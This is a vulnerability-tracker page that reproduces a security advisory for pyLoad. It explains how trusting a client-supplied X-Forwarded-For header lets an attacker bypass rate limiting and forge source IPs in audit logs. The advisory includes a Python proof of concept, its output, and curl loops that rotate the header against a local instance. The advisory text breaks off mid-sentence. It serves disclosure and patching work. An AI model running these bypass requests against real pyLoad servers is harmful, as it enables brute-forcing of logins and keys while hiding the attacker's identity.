Patch Forecast
Yellow warning
Plan into this sprint.

GHSA-9q47-3cm2-2rp8

pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header

Risk score
51/100
CVSS
6.9 v4.0
Published
9 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied X-Forwarded-For (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no ProxyFix middl…
Affected
pyload-ng (pip) = 0.5.0b3.dev101
Fix
No patched version listed yet: check the advisory for mitigations.
Exploitation
Public proof of concept

Why it is Yellow

  • CVSS 6.9 medium
  • Public exploit or proof of concept referenced
  • On your watchlist: PyPI

Affected packages

PackageEcosystemVulnerableFixed in
pyload-ngpip= 0.5.0b3.dev101No fix yet

References

Original description

## Summary pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no `ProxyFix` middleware). Because any client can freely set this header, an attacker can (1) completely bypass rate limiting by rotating the header on each request, and (2) forge the source IP recorded in security logs for login and API-key authentication failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution. ## Severity Medium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3) - CWE-807: Reliance on Untrusted Inputs in a Security Decision - CWE-290: Authentication Bypass by Spoofing - CWE-348: Use of Less Trusted Source ## Affected Version pyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the later `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the `develop-2` changes only touched the unrelated API-key cache). ## Affected Component Web UI request handling — client-IP derivation used by rate limiting and security logging. - `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP bucket key. - `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging. - `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging. - `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy trust boundary or `ProxyFix`. - Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies `@rate_limit(count=100, period=60)` to the `/api/<func>` RPC endpoint. ## Description: All three locations derive the client IP with the identical expression: ```python client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote_addr ``` `X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes `split(",")[0]` — the leftmost token — which is always the value supplied by the *original client* (a proxy appends its own value to the right). Only when the header is entirely absent does the code fall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count, and pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true peer and the XFF value is untrusted attacker input. Two security decisions are made on this untrusted value: 1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending a distinct value each request creates a distinct bucket, so the counter never accumulates and the limit never triggers. 2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using the same spoofable value, so the recorded source address is chosen by the attacker. Notably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats the *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an apparent loopback source, while the rate-limit and logging paths naively trust the same header — indicating the trust here is unintended. ## Proof of Concept The `rate_limit()` decorator's actual source (bytes read from `pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min): ```python import ast, math, time from functools import wraps import flask HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py" src = open(HELPERS).read() node = next(n for n in ast.parse(src).body if isinstance(n, ast.FunctionDef) and n.name == "rate_limit") ns = {"flask": flask, "time": time, "math": math, "wraps": wraps} exec(compile(ast.get_source_segment(src, node), HELPERS, "exec"), ns) rate_limit = ns["rate_limit"] def build_app(): app = flask.Flask(__name__) @app.route("/api/ping") @rate_limit(count=5, period=60) def ping(): return flask.json.jsonify({"ok": True}) return app def run(hdr): app = build_app() with app.test_client() as c: return [c.get("/api/ping", headers=hdr(i)).status_code for i in range(8)] print("FIXED XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"})) print("ROTATE XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"})) ``` Output: ``` FIXED XFF: [200, 200, 200, 200, 200, 429, 429, 429] # limit enforced ROTATE XFF: [200, 200, 200, 200, 200, 200, 200, 200] # 0x 429 -> limit bypassed # server log during FIXED run: # WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60) ``` Derivation check (XFF present, real peer is loopback): ```python # request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1 client_ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote_addr # -> client_ip == "8.8.8.8" (the spoofed value wins over the real remote_addr) ``` Equivalent against a live instance: ```bash # Rate limit never trips regardless of volume: for i in $(seq 1 500); do curl -s -o /dev/null -H "X-API-Key: pl_1<valid-key>" \ -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \ http://127.0.0.1:8000/api/get_server_version done # no HTTP 429 is ever returned # Forged source IP in the audit log: curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \ --data 'username=admin&password=wrong' http://127.0.0.1:8000/login # server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8] ``` ## Steps To Reproduce 1. Start a pyLoad instance directly exposed (no rev

Last activity 9 Oct 2026. Patch Forecast updates every hour.